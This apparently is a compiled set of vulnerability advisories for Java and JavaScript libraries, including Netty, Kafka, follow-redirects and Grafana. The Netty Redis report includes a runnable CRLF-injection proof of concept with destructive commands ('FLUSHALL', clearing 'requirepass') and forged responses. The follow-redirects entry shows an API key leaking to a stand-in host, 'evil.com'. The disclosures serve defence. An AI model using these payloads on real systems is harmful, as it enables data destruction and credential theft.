Improper Input Validation vulnerability in Apache POI. The issue affects the parsing of OOXML format files like xlsx, docx and pptx. These file formats are basically zip files and it is possible for malicious users to add zip entries with duplicate names (including the path) in the zip. In this case, products reading the affected file could read different data because 1 of the zip entries with the duplicate name is selected over another but different products may choose a different zip entry. This issue affects Apache POI poi-ooxml before 5.4.0. poi-ooxml 5.4.0 has a check that throws an exception if zip entries with duplicate file names are found in the input file. Users are recommended to upgrade to version poi-ooxml 5.4.0, which fixes the issue. Please read https://poi.apache.org/security.html for recommendations about how to use the POI libraries securely.
The `Log4j1XmlLayout` from the Apache Log4j 1-to-Log4j 2 bridge fails to escape characters forbidden by the XML 1.0 standard, producing malformed XML output. Conforming XML parsers are required to reject documents containing such characters with a fatal error, which may cause downstream log processing systems to drop or fail to index affected records. Two groups of users are affected: * Those using `Log4j1XmlLayout` directly in a Log4j Core 2 configuration file. * Those using the Log4j 1 configuration compatibility layer with `org.apache.log4j.xml.XMLLayout` specified as the layout class. Users are advised to upgrade to Apache Log4j 1-to-Log4j 2 bridge version `2.25.4`, which corrects this issue. > [!NOTE] > The Apache Log4j 1-to-Log4j 2 bridge is deprecated and will not be present in Log4j 3. Users are encouraged to consult the > [Log4j 1 to Log4j 2 migration guide](https://logging.apache.org/log4j/2.x/migrate-from-log4j1.html), and specifically the section on eliminating reliance on the bridge.
sprintf-js through 1.1.3 passes unbounded precision specifiers to toFixed, toExponential, and toPrecision methods without validation, causing uncaught RangeError exceptions. Attackers who control format strings can inject precision values exceeding ECMAScript limits to abort calling operations with minimal payload.
Improper Restriction of XML External Entity Reference ('XXE') vulnerability in Apache XML Graphics FOP. This issue affects Apache XML Graphics FOP: 2.9. Users are recommended to upgrade to version 2.10, which fixes the issue.
An issue was discovered in Bouncy Castle Java Cryptography APIs starting in 1.73 and before 1.78. An Ed25519 verification code infinite loop can occur via a crafted signature and public key.
### Impact `HttpContentEncoder` (the superclass of the production handler `HttpContentCompressor`) maintains a per-channel `ArrayDeque<CharSequence>` named `acceptEncodingQueue` that accumulates attacker-controlled data without any size limit. The queue is filled on the I/O thread for every inbound HTTP request and drained only when the application later writes a non-1xx response. This creates a resource exhaustion vulnerability when an attacker exploits HTTP/1.1 pipelining to flood the connection with requests faster than the application produces responses.
## Summary When an HTTP request follows a cross-domain redirect (301/302/307/308), `follow-redirects` only strips `authorization`, `proxy-authorization`, and `cookie` headers (matched by regex at index.js:469-476). Any custom authentication header (e.g., `X-API-Key`, `X-Auth-Token`, `Api-Key`, `Token`) is forwarded verbatim to the redirect target. Since `follow-redirects` is the redirect-handling dependency for **axios** (105K+ stars), this vulnerability affects the entire axios ecosystem. ## Affected Code `index.js`, lines 469-476: ```javascript if (redirectUrl.protocol !== currentUrlParts.protocol && redirectUrl.protocol !== "https:" || redirectUrl.host !== currentHost && !isSubdomain(redirectUrl.host, currentHost)) { removeMatchingHeaders(/^(?:(?:proxy-)?authorization|cookie)$/i, this._options.headers); } ``` The regex only matches `authorization`, `proxy-authorization`, and `cookie`. Custom headers like `X-API-Key` are not matched. ## Attack Scenario 1. App uses axios with custom auth header: `headers: { 'X-API-Key': 'sk-live-secret123' }` 2. Server returns `302 Location: https://evil.com/steal` 3. follow-redirects sends `X-API-Key: sk-live-secret123` to `evil.com` 4. Attacker captures the API key ## Impact Any custom auth header set via axios leaks on cross-domain redirect. Extremely common pattern. Affects all axios users in Node.js. ## Suggested Fix Add a `sensitiveHeaders` option that users can extend, or strip ALL non-standard headers on cross-domain redirect. ## Disclosure Source code review, manually verified. Found 2026-03-20.
### Impact The `_.unset`, `_.omit`, and `_.pullAt` functions are vulnerable to prototype pollution. An attacker can pass crafted paths which cause Lodash to delete methods from global prototypes. The issue permits deletion of properties but does not allow overwriting their original behavior. ### Patches The issue is patched from 4.17.23 to 4.18.0 depending on the package: `lodash`, `lodash-es`, and `lodash-amd` in 4.17.23, and the standalone `lodash.unset` and `lodash.omit` packages in 4.18.0. ### Workarounds None. Upgrade to the patched version.
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. When redirect following is enabled (followRedirect(true)), versions of AsyncHttpClient prior to 3.0.9 and 2.14.5 forward Authorization and Proxy-Authorization headers along with Realm credentials to arbitrary redirect targets regardless of domain, scheme, or port changes. This leaks credentials on cross-domain redirects and HTTPS-to-HTTP downgrades. Additionally, even when stripAuthorizationOnRedirect is set to true, the Realm object containing plaintext credentials is still propagated to the redirect request, causing credential re-generation for Basic and Digest authentication schemes via NettyRequestFactory. An attacker who controls a redirect target (via open redirect, DNS rebinding, or MITM on HTTP) can capture Bearer tokens, Basic auth credentials, or any other Authorization header value. The fix in versions 3.0.9 and 2.14.5 automatically strips Authorization and Proxy-Authorization headers and clears Realm credentials whenever a redirect crosses origin boundaries (different scheme, host, or port) or downgrades from HTTPS to HTTP. For users unable to upgrade, set `(stripAuthorizationOnRedirect(true))` in the client config and avoid using Realm-based authentication with redirect following enabled. Note that `(stripAuthorizationOnRedirect(true))` alone is insufficient on versions prior to 3.0.9 and 2.14.5 because the Realm bypass still re-generates credentials. Alternatively, disable redirect following (`followRedirect(false)`) and handle redirects manually with origin validation.
Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, Netty's DNS resolver uses a predictable PRNG for generating DNS transaction IDs and defaults to a static UDP source port. This combination reduces the entropy of DNS queries, enabling DNS Cache Poisoning (Kaminsky attack). Versions 4.1.135.Final and 4.2.15.Final patch the issue.
Files or Directories Accessible to External Parties, Improper Privilege Management vulnerability in Apache Kafka Clients. Apache Kafka Clients accept configuration data for customizing behavior, and includes ConfigProvider plugins in order to manipulate these configurations. Apache Kafka also provides FileConfigProvider, DirectoryConfigProvider, and EnvVarConfigProvider implementations which include the ability to read from disk or environment variables. In applications where Apache Kafka Clients configurations can be specified by an untrusted party, attackers may use these ConfigProviders to read arbitrary contents of the disk and environment variables. In particular, this flaw may be used in Apache Kafka Connect to escalate from REST API access to filesystem/environment access, which may be undesirable in certain environments, including SaaS products. This issue affects Apache Kafka Clients: from from 2.3.0 through 3.5.2, 3.6.0 through 3.6.2, and 3.7.0. Users with affected applications are recommended to upgrade kafka-clients to version >=3.8.0, and set the JVM system property "org.apache.kafka.automatic.config.providers=none". Users of Kafka Connect with one of the listed ConfigProvider implementations specified in their worker config are also recommended to add appropriate "allowlist.pattern" and "allowed.paths" to restrict their operation to appropriate bounds. For users of Kafka Clients or Kafka Connect in environments that trust users with disk and environment variable access, it is not recommended to set the system property. For users of the Kafka Broker, Kafka MirrorMaker 2.0, Kafka Streams, and Kafka command-line tools, it is not recommended to set the system property.
### Impact When redirect following is enabled (followRedirect(true)), AsyncHttpClient forwards Authorization and Proxy-Authorization headers along with Realm credentials to arbitrary redirect targets regardless of domain, scheme, or port changes. This leaks credentials on cross-domain redirects and HTTPS-to-HTTP downgrades. Additionally, even when stripAuthorizationOnRedirect is set to true, the Realm object containing plaintext credentials is still propagated to the redirect request, causing credential re-generation for Basic and Digest authentication schemes via NettyRequestFactory. An attacker who controls a redirect target (via open redirect, DNS rebinding, or MITM on HTTP) can capture Bearer tokens, Basic auth credentials, or any other Authorization header value. ### Patches Fixed in version 3.0.9 or 2.14.5. Users should upgrade immediately. The fix automatically strips Authorization and Proxy-Authorization headers and clears Realm credentials whenever a redirect crosses origin boundaries (different scheme, host, or port) or downgrades from HTTPS to HTTP. ### Workarounds For users unable to upgrade, set (stripAuthorizationOnRedirect(true)) in the client config and avoid using Realm-based authentication with redirect following enabled. Note that (stripAuthorizationOnRedirect(true)) alone is insufficient on versions prior to 3.0.9 or 2.14.5 because the Realm bypass still re-generates credentials. Alternatively, disable redirect following (followRedirect(false)) and handle redirects manually with origin validation. ### References - Fix commit: https://github.com/AsyncHttpClient/async-http-client/commit/6b2fbb7f8
Azure Identity Libraries and Microsoft Authentication Library Elevation of Privilege Vulnerability.
# Security Vulnerability Report: CRLF Injection in Netty Redis Codec Encoder ## 1. Vulnerability Summary | Field | Value | |-------|-------| | **Product** | Netty | | **Version** | 4.2.12.Final (and all prior versions with codec-redis) | | **Component** | `io.netty.handler.codec.redis.RedisEncoder` | | **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection) | | **Impact** | Redis Command Injection / Response Poisoning | | **Attack Vector** | Network | | **Attack Complexity** | Low | | **Privileges Required** | None | | **User Interaction** | None | | **Scope** | Unchanged | | **Confidentiality Impact** | High | | **Integrity Impact** | High | | **Availability Impact** | None | ## 2. Affected Components The following classes in the `codec-redis` module are affected: - `io.netty.handler.codec.redis.RedisEncoder` (encoder - no output validation) - `io.netty.handler.codec.redis.InlineCommandRedisMessage` (no input validation) - `io.netty.handler.codec.redis.SimpleStringRedisMessage` (no input validation) - `io.netty.handler.codec.redis.ErrorRedisMessage` (no input validation) - `io.netty.handler.codec.redis.AbstractStringRedisMessage` (base class - no validation) ## 3. Vulnerability Description The Netty Redis codec encoder (`RedisEncoder`) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (`\r\n`) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses. ### Root Cause In `RedisEncoder.java`, the `writeString()` method (lines 103-111) writes content using `ByteBufUtil.writeUtf8()` without any validation: ```java private static void writeString(ByteBufAllocator allocator, RedisMessageType type, String content, List<Object> out) { ByteBuf buf = allocator.ioBuffer(type.length() + ByteBufUtil.utf8MaxBytes(content) + RedisConstants.EOL_LENGTH); type.writeTo(buf); ByteBufUtil.writeUtf8(buf, content); // <-- NO CRLF VALIDATION buf.writeShort(RedisConstants.EOL_SHORT); // <-- Appends \r\n out.add(buf); } ``` The message constructors (`InlineCommandRedisMessage`, `SimpleStringRedisMessage`, `ErrorRedisMessage`) inherit from `AbstractStringRedisMessage`, which only checks for null: ```java // AbstractStringRedisMessage.java:30-32 AbstractStringRedisMessage(String content) { this.content = ObjectUtil.checkNotNull(content, "content"); // NO CRLF validation } ``` ### Comparison with Similar Fixed CVEs This vulnerability follows the exact same pattern as two previously acknowledged Netty CVEs: | CVE | Component | Fix | |-----|-----------|-----| | **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder - SMTP command injection | Added `SmtpUtils.validateSMTPParameters()` to check for `\r` and `\n` | | **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder - CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` to check for `\r`, `\n`, and SP | The Redis codec has **no equivalent validation** in either the encoder or the message constructors. ## 4. Exploitability Prerequisites This vulnerability is exploitable when **all** of the following conditions are met: 1. The application uses Netty's `codec-redis` module to communicate with a Redis server 2. User-controlled input is placed into `InlineCommandRedisMessage`, `SimpleStringRedisMessage`, or `ErrorRedisMessage` content 3. The application does **not** perform its own CRLF sanitization before constructing these message objects **Important context**: Most production Redis clients built on Netty use the RESP array format (`ArrayRedisMessage` + `BulkStringRedisMessage`), which uses binary-safe length-prefixed encoding and is **not** affected by this vulnerability. The vulnerability specifically affects the text-based inline command mode and simple string/error response types, which use CRLF as protocol delimiters. **Affected use cases include**: - Custom Redis clients or proxies that use `InlineCommandRedisMessage` for simplicity - Redis middleware/proxy layers that forward `SimpleStringRedisMessage` or `ErrorRedisMessage` responses - Applications that construct Redis monitoring or diagnostic commands from user input - Redis Sentinel or Cluster management tools using inline command format ## 5. Attack Scenarios ### Scenario 1: Redis Command Injection via Inline Commands When Netty is used as a Redis client or proxy, and user-controlled data is placed into `InlineCommandRedisMessage`, an attacker can inject arbitrary Redis commands: ```java // Application code that builds Redis commands from user input String userKey = request.getParameter("key"); // Attacker controls this InlineCommandRedisMessage msg = new InlineCommandRedisMessage("GET " + userKey); channel.writeAndFlush(msg); ``` **Attack input**: `key = "foo\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL"` **Result**: Three commands sent to Redis: 1. `GET foo` 2. `CONFIG SET requirepass ""` (removes authentication!) 3. `FLUSHALL` (deletes all data!) ### Scenario 2: Redis Response Poisoning When Netty is used as a Redis proxy/middleware, a malicious upstream Redis server (or MITM attacker) can inject fake responses: ```java // Proxy forwarding a simple string response SimpleStringRedisMessage response = new SimpleStringRedisMessage(upstreamResponse); downstreamChannel.writeAndFlush(response); ``` **Malicious upstream response**: `"OK\r\n$6\r\nhacked"` **Client sees**: 1. Simple String: `+OK` (expected response) 2. Bulk String: `$6\r\nhacked` (injected fake data!) ### Scenario 3: Error Message Injection ```java ErrorRedisMessage error = new ErrorRedisMessage("ERR " + errorDetail); ``` **Attack input**: `errorDetail = "unknown\r\n+FAKE_SUCCESS"` **Client sees**: 1. Error: `-ERR unknown` 2. Simple String: `+FAKE_SUCCESS` (injected fake success!) ## 6. Proof of Concept ### Full Runnable PoC Source Code (RedisEncoderCRLFInjectionPoC.java) ```java import io.netty.buffer.ByteBuf; import io.netty.buffer.ByteBufUtil; import io.netty.buffer.UnpooledByteBufAllocator; import io.netty.channel.ChannelHandlerContext; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.redis.*; import java.nio.charset.StandardCharsets; import java.util.List; import java.util.ArrayList; /** * PoC: Redis Encoder CRLF Injection Vulnerability * * Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage, * and ErrorRedisMessage do not validate content for CRLF characters, * allowing Redis command injection via the RESP protocol. */ public class RedisEncoderCRLFInjectionPoC { public static void main(String[] args) { System.out.println("=== Netty Redis Encoder CRLF Injection PoC ===\n"); testInlineCommandInjection(); testSimpleStringInjection(); testErrorMessageInjection(); System.out.println("\n=== PoC Complete ==="); } /** * Test 1: Inline Command Injection * An attacker-controlled string injected into InlineCommandRedisMessage * results in multiple Redis commands being sent. */ static void testInlineCommandInjection() { System.out.println("[TEST 1] Inline Command CRLF Injection"); System.out.println("----------------------------------------"); // Malicious content: inject FLUSHALL after a benign PING String maliciousContent = "PING\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL"; EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder()); // This should be rejected but is accepted InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent); channel.writeOutbound(msg); ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF_8); output.release(); channel.finishAndReleaseAll(); System.out.println("Input: InlineCommandRedisMessage(\"" + maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")"); System.out.println("Encoded: \"" + encoded.replace("\r", "\\r").replace("\n", "\\n") + "\""); // Count how many CRLF-delimited commands are in the output String[] commands = encoded.split("\r\n"); System.out.println("Number of commands parsed by Redis: " + commands.length); for (int i = 0; i < commands.length; i++) { if (!commands[i].isEmpty()) { System.out.println(" Command " + (i + 1) + ": " + commands[i]); } } boolean vulnerable = commands.length > 1; System.out.println("VULNERABLE: " + (vulnerable ? "YES - Multiple commands injected!" : "NO")); System.out.println(); } /** * Test 2: SimpleString Response Injection * When Netty acts as a Redis proxy/middleware, a malicious SimpleString * can inject fake responses to the downstream client. */ static void testSimpleStringInjection() { System.out.println("[TEST 2] SimpleString Response CRLF Injection"); System.out.println("----------------------------------------------"); // Malicious content: inject a fake bulk string response after OK String maliciousContent = "OK\r\n$6\r\nhacked"; EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder()); SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent); channel.writeOutbound(msg); ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF_8); output.release(); channel.finishAndReleaseAll(); System.out.println("Input: SimpleStringRedisMessage(\"" + maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")"); System.out.println("Encoded: \"" + encoded.replace("\r", "\\r").replace("\n", "\\n") + "\""); // The RESP protocol uses the first byte to determine type: // '+' = Simple String, '$' = Bulk String // A client parsing this would see: // 1. "+OK\r\n" -> Simple String "OK" // 2. "$6\r\nhacked" -> Bulk String "hacked" (injected!) boolean vulnerable = encoded.contains("+OK\r\n$6\r\nhacked"); System.out.println("VULNERABLE: " + (vulnerable ? "YES - Response poisoning possible!" : "NO")); System.out.println(); } /** * Test 3: Error Message Injection * Similar to SimpleString but with error messages. */ static void testErrorMessageInjection() { System.out.println("[TEST 3] Error Message CRLF Injection"); System.out.println("--------------------------------------"); String maliciousContent = "ERR unknown\r\n+INJECTED_OK"; EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder()); ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent); channel.writeOutbound(msg); ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF_8); output.release(); channel.finishAndReleaseAll(); System.out.println("Input: ErrorRedisMessage(\"" + maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")"); System.out.println("Encoded: \"" + encoded.replace("\r", "\\r").replace("\n", "\\n") + "\""); boolean vulnerable = encoded.contains("-ERR unknown\r\n+INJECTED_OK"); System.out.println("VULNERABLE: " + (vulnerable ? "YES - Error + fake OK injected!" : "NO")); System.out.println(); } } ``` ### How to Compile and Run ```bash # Build Netty (skip tests for speed) ./mvnw install -pl common,buffer,codec,codec-redis,transport -DskipTests -Dcheckstyle.skip=true \ -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \ -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q # Set classpath JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \ | grep -v sources | grep -v javadoc | tr '\n' ':') # Compile and run javac -cp "$JARS" RedisEncoderCRLFInjectionPoC.java java -cp "$JARS:." RedisEncoderCRLFInjectionPoC ``` ### PoC Execution Output (Verified on Netty 4.2.12.Final) ``` === Netty Redis Encoder CRLF Injection PoC === [TEST 1] Inline Command CRLF Injection ---------------------------------------- Input: InlineCommandRedisMessage("PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL") Encoded: "PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL\r\n" Number of commands parsed by Redis: 3 Command 1: PING Command 2: CONFIG SET requirepass "" Command 3: FLUSHALL VULNERABLE: YES - Multiple commands injected! [TEST 2] SimpleString Response CRLF Injection ---------------------------------------------- Input: SimpleStringRedisMessage("OK\r\n$6\r\nhacked") Encoded: "+OK\r\n$6\r\nhacked\r\n" VULNERABLE: YES - Response poisoning possible! [TEST 3] Error Message CRLF Injection -------------------------------------- Input: ErrorRedisMessage("ERR unknown\r\n+INJECTED_OK") Encoded: "-ERR unknown\r\n+INJECTED_OK\r\n" VULNERABLE: YES - Error + fake OK injected! === PoC Complete === ``` ## 7. Impact Analysis | Impact Category | Description | |----------------|-------------| | **Confidentiality** | HIGH - Attacker can execute `CONFIG GET` to extract sensitive Redis configuration, use `KEYS *` to enumerate all data | | **Integrity** | HIGH - Attacker can execute `SET`/`DEL`/`FLUSHALL` to modify or destroy data, `CONFIG SET` to change server configuration | | **Availability** | Can be HIGH - `FLUSHALL` destroys all data, `SHUTDOWN` stops the server, `DEBUG SLEEP` causes DoS | | **Authentication Bypass** | `CONFIG SET requirepass ""` removes authentication | | **Data Exfiltration** | Lua scripting via `EVAL` enables complex data extraction | ## 8. Remediation Recommendations ### Option 1: Validate in Message Constructors (Recommended) Add CRLF validation to `AbstractStringRedisMessage`: ```java AbstractStringRedisMessage(String content) { this.content = ObjectUtil.checkNotNull(content, "content"); validateContent(content); } private static void validateContent(String content) { for (int i = 0; i < content.length(); i++) { char c = content.charAt(i); if (c == '\r' || c == '\n') { throw new IllegalArgumentException( "Redis message content contains illegal CRLF character at index " + i); } } } ``` ### Option 2: Validate in Encoder (Defense-in-Depth) Add validation in `RedisEncoder.writeString()`: ```java private static void writeString(ByteBufAllocator allocator, RedisMessageType type, String content, List<Object> out) { for (int i = 0; i < content.length(); i++) { char c = content.charAt(i); if (c == '\r' || c == '\n') { throw new RedisCodecException( "Redis message content contains CRLF at index " + i); } } // ... existing encoding logic } ``` ### Option 3: Both (Best Practice) Apply validation in both the constructor and the encoder, following the pattern used for SMTP: - `SmtpUtils.validateSMTPParameters()` validates in `DefaultSmtpRequest` constructor - This provides defense-in-depth against custom `SmtpRequest` implementations ## 9. Resources - [RESP Protocol Specification](https://redis.io/docs/reference/protocol-spec/) - [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html) - [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86) - [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)
### Summary Netty's DNS resolver uses a predictable PRNG for generating DNS transaction IDs and defaults to a static UDP source port. This combination reduces the entropy of DNS queries, enabling DNS Cache Poisoning (Kaminsky attack). ### Details Two factors contribute to this vulnerability in io.netty.resolver.dns: - Predictable Query IDs: `DnsQueryIdSpace` manages 16-bit transaction IDs in buckets of 16,384 IDs. It initializes only the first bucket. When an ID is returned, it is pushed back into the bucket at a random index generated by java.util.concurrent.ThreadLocalRandom: ```java Random random = ThreadLocalRandom.current(); int insertionPosition = random.nextInt(count + 1); ``` Because ThreadLocalRandom is a predictable LCG and the resolver operates within a single bucket, the sequence of IDs is predictable once the PRNG state is mathematically recovered. - Default Static Source Port: `DnsNameResolverBuilder` defaults to a `channelStrategy` of `ChannelPerResolver`. This binds the DatagramChannel once, resulting in a static source port for all subsequent queries. Combined, a static source port and predictable transaction IDs reduces the entropy required to secure DNS resolution against spoofing. ### Impact DNS Cache Poisoning. Downstream applications using the default Netty DNS resolver may connect to malicious IPs, leading to traffic interception or MitM attacks.
Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26. Users are recommended to upgrade to version 1.26, which fixes the issue.
decode-uri-component through 0.4.1 is vulnerable to denial of service. The decode() function splits input on '%' producing N tokens and calls decodeComponents(), exhibiting super-linear parsing time: 200 '%ab' tokens takes approximately 0.7s, 700 tokens approximately 6s, and 1400 tokens approximately 33s. An attacker can cause significant CPU consumption and event-loop blocking via crafted input.
### Impact An attacker who can supply input to `decodeUriComponent()` (directly or via a dependency that uses this package on URL/query/path data) can cause excessive CPU usage and application unresponsiveness. This is an availability issue; there is no known memory corruption, data disclosure, or remote code execution impact. ### Patches Upgrade to `decode-uri-component@0.5.0`. ### Workarounds Limit the size of the input.
An issue was discovered in PHP 7.3.x before 7.3.0alpha3, 7.2.x before 7.2.8, and before 7.1.20. The php-fpm master process restarts a child process in an endless loop when using program execution functions (e.g., passthru, exec, shell_exec, or system) with a non-blocking STDIN stream, causing this master process to consume 100% of the CPU, and consume disk space with a large volume of error logs, as demonstrated by an attack by a customer of a shared-hosting facility.
In PHP versions before 7.4.31, 8.0.24 and 8.1.11, the vulnerability enables network and same-site attackers to set a standard insecure cookie in the victim's browser which is treated as a `__Host-` or `__Secure-` cookie by PHP applications.
follow-redirects is an open source, drop-in replacement for Node's `http` and `https` modules that automatically follows redirects. In affected versions follow-redirects only clears authorization header during cross-domain redirect, but keep the proxy-authentication header which contains credentials too. This vulnerability may lead to credentials leak, but has been addressed in version 1.15.6. Users are advised to upgrade. There are no known workarounds for this vulnerability.
Files or Directories Accessible to External Parties, Improper Privilege Management vulnerability in Apache Kafka Clients. Apache Kafka Clients accept configuration data for customizing behavior, and includes ConfigProvider plugins in order to manipulate these configurations. Apache Kafka also provides FileConfigProvider, DirectoryConfigProvider, and EnvVarConfigProvider implementations which include the ability to read from disk or environment variables. In applications where Apache Kafka Clients configurations can be specified by an untrusted party, attackers may use these ConfigProviders to read arbitrary contents of the disk and environment variables. In particular, this flaw may be used in Apache Kafka Connect to escalate from REST API access to filesystem/environment access, which may be undesirable in certain environments, including SaaS products. This issue affects Apache Kafka Clients: from 2.3.0 through 3.5.2, 3.6.2, 3.7.0. Users with affected applications are recommended to upgrade kafka-clients to version >=3.8.0, and set the JVM system property "org.apache.kafka.automatic.config.providers=none". Users of Kafka Connect with one of the listed ConfigProvider implementations specified in their worker config are also recommended to add appropriate "allowlist.pattern" and "allowed.paths" to restrict their operation to appropriate bounds. For users of Kafka Clients or Kafka Connect in environments that trust users with disk and environment variable access, it is not recommended to set the system property. For users of the Kafka Broker, Kafka MirrorMaker 2.0, Kafka Streams, and Kafka command-line tools, it is not recommended to set the system property.
webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when you access a malicious web site with non-Chromium based browser. The `Origin` header is checked to prevent Cross-site WebSocket hijacking from happening, which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address `Origin` headers. This allows websites that are served on IP addresses to connect WebSocket. An attacker can obtain source code via a method similar to that used to exploit CVE-2018-14732. Version 5.2.1 contains a patch for the issue.
Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.129.Final and 4.2.8.Final, the `io.netty.handler.codec.http.HttpRequestEncoder` has a CRLF injection with the request URI when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the URI. Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. Versions 4.1.129.Final and 4.2.8.Final fix the issue.
Allocation of Resources Without Limits or Throttling (CWE-770) in Elasticsearch can allow a low-privileged authenticated user to cause Excessive Allocation (CAPEC-130) causing a persistent denial of service (OOM crash) via submission of oversized user settings data.
Cleartext storage in PostgreSQL pgcrypto disabled ciphers allows a user to recover cleartext, via direct observation of the faulty ciphertext. The OpenSSL version and OpenSSL configuration determine the disabled ciphers. If the application accepts encrypted data as input, decryption will succeed even with the wrong key. This in turn loses the modest protection from the Modification Detection Code (MDC). Affected functions are pgp_sym_encrypt, pgp_sym_decrypt, pgp_pub_encrypt, pgp_pub_decrypt, pgp_sym_encrypt_bytea, pgp_sym_decrypt_bytea, pgp_pub_encrypt_bytea, and pgp_pub_decrypt_bytea. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.
The Grafana Live push endpoint can be exploited to cause unbounded memory allocation by sending a large or streaming request body, potentially leading to out-of-memory conditions. An authenticated user with access to the Grafana Live API can trigger this issue.
A race condition in Grafana Live allows authenticated users with Viewer role to trigger a server crash by sending concurrent requests that cause a fatal map access error. This results in complete service unavailability requiring restart of the Grafana server.
A request to the Grafana plugin resources endpoint can cause unbounded memory allocation by reading the entire request body into memory. An authenticated user can exploit this to trigger an out-of-memory condition, potentially causing a denial of service.
Using the $__timeGroup macro, one can achieve an OOM by overloading the server. This requires a SQL datasource. If the server is set up to auto-restart, the impact is minimal or non-existent, as the attack can take upwards of half an hour to crash the server.
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty's chunk size parser silently overflows int, enabling request smuggling attacks. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
Uncontrolled Resource Consumption (CWE-400) in Elasticsearch can lead to a denial of service via Excessive Allocation (CAPEC-130). An authenticated user can submit a specially crafted bulk request that causes sustained high CPU consumption, which can render the affected node unable to process requests.
OpenTelemetry Java Instrumentation provides OpenTelemetry auto-instrumentation and instrumentation libraries for Java. In versions prior to 2.28.0, the JDBC auto-instrumentation may fail to sanitize passwords in SQL CONNECT statements when the password is double-quoted. As a result, clear-text database passwords can be added to trace span attributes and exported to observability backends. This issue has been fixed in version 2.28.0.
Netty is a network application framework for development of protocol servers and clients. Versions 4.2.0.Final through 4.2.15.Final and 4.1.0.Final through 4.1.135.Final, are vulnerable to security control bypass during the origin evaluation process. CorsHandler provides a shortCircuit() configuration designed to reject unauthorized cross-origin requests immediately, acting as a security control before requests reach the application. However, due to a logical operator error in the origin evaluation process, this protection can be entirely bypassed. An attacker can bypass the short-circuit mechanism by sending a request with an Origin: null header. This failure forwards unauthorized requests to the backend application, bypassing intended access controls. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
Netty is an asynchronous, event-driven network application framework. Prior to 4.1.136.Final and 4.2.16.Final, the RedisArrayAggregator Redis codec clears retained partial aggregate state when the maxNestedArrayDepth limit is exceeded, but it does not clear the same state when the sibling maxElements limit is exceeded. A peer can start a valid RESP array, send a bulk string child, then send a nested array header longer than the configured maxElements. Netty throws a decoder exception in decodeRedisArrayHeader, but the existing partial aggregate remains retained in the handler. If the application leaves the channel alive after the exception, later messages are still consumed into the pre-error aggregate, allowing an unauthenticated peer to keep attacker-controlled aggregate state alive across a security-limit exception and pin retained pooled buffers. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.15.0 until 2.18.8, 2.21.4, and 3.1.4, Java Records using a PropertyNamingStrategy can bypass @JsonIgnore because POJOPropertiesCollector._removeUnwantedIgnorals() records an ignored component under its original implicit name before _renameUsing() applies the naming strategy, allowing the renamed JSON key to be assigned to the Record constructor parameter. This issue is fixed in versions 2.18.8, 2.21.4, and 3.1.4.
jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.18.0 until 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1, UnwrappedPropertyHandler.processUnwrapped() replays buffered JSON for a @JsonUnwrapped property and calls prop.deserializeAndSet() without a prop.visibleInView(ctxt.getActiveView()) guard, allowing a property annotated with both @JsonView and @JsonUnwrapped to be written from attacker JSON under a less-privileged active view. This issue is fixed in versions 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1.
